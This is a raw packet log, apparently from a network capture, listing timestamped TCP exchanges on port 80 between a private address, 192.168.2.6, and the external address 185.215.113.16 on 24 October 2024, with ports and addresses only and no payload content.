Oct 24, 2024 09:08:15.227576017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.227598906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.227627039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.227649927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.227663994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.227680922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.227705002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.227724075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.227763891 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.245863914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.245986938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246005058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246032000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246042013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246079922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246088028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246124983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246155024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246176958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246180058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246226072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246236086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246273041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246298075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246309042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246315956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246344090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246354103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246381044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246393919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246421099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246434927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246460915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246478081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246498108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246515989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246530056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246546030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246546030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246563911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246572018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246582985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246591091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246602058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246618986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246619940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246618986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246639967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246640921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246656895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246659040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246675014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246679068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246701002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246702909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246721983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.246725082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246742010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.246761084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.279752970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.279881954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.279921055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.279917955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.279958963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.279968977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.279977083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280014992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280028105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280050993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280060053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280090094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280105114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280139923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280149937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280186892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280204058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280224085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280236959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280267954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280275106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280319929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280327082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280364037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280376911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280402899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280417919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280441046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280461073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280493021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280505896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280541897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280548096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280577898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280592918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280621052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280626059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280657053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280667067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280694962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280709028 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280747890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280751944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280790091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280806065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280827045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280838966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280864000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280889034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280899048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280906916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280936003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280952930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.280971050 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.280983925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281008959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281019926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281044960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281055927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281083107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281096935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281119108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281127930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281156063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281162977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281189919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281210899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281224966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281255960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281260967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281279087 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281291962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281312943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281328917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281337023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281368971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281382084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281405926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281418085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281443119 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281461000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281478882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281495094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281517029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281529903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281553984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281570911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281591892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.281605959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.281641006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320166111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320301056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320324898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320341110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320364952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320379019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320389032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320427895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320439100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320472956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320483923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320523977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320528984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320564985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320593119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320601940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320624113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320636988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320651054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320672989 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320708036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320709944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320744991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320760012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320760012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320885897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320888996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320924044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320943117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320960999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.320975065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.320991993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.321026087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.321032047 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.321032047 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.321062088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.321078062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.321094036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.321105003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.321130991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.321146965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.321171045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.321181059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.321223974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.344841003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.344897032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.344935894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.344970942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.344969988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.345006943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.345007896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.345007896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.345007896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.345046043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.345062017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.345138073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.345154047 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.345176935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.345182896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.345230103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365407944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365478039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365484953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365525961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365533113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365577936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365581036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365628004 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365638018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365685940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365694046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365731955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365742922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365771055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365781069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365809917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365819931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365844965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365850925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365881920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365894079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365920067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365932941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365957975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.365963936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.365998983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366017103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.366039038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366071939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366090059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366097927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.366127014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366131067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.366161108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.366231918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366239071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.366272926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366309881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366328001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.366339922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.366347075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.366347075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366384029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366409063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.366427898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.366432905 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.366477966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397252083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397325993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397373915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397442102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397478104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397480965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397516966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397553921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397573948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397603989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397603989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397617102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397653103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397666931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397691011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397700071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397727013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397736073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397764921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397773027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397798061 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397831917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397835016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397871971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397907019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397931099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397943974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.397978067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.397979021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398015976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398044109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398056984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398082018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398111105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398118019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398129940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398154974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398165941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398191929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398204088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398236990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398247004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398283005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398297071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398315907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398330927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398355007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398365021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398391008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398408890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398430109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398436069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398468018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398478031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398504019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398523092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398540020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398550034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398614883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398648024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398652077 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398659945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398689032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398706913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398724079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398739100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398760080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398770094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398792982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398808956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398828983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398834944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398865938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398875952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398902893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398930073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398938894 CEST	80	49997	185.215.113.16	192.168.2.6
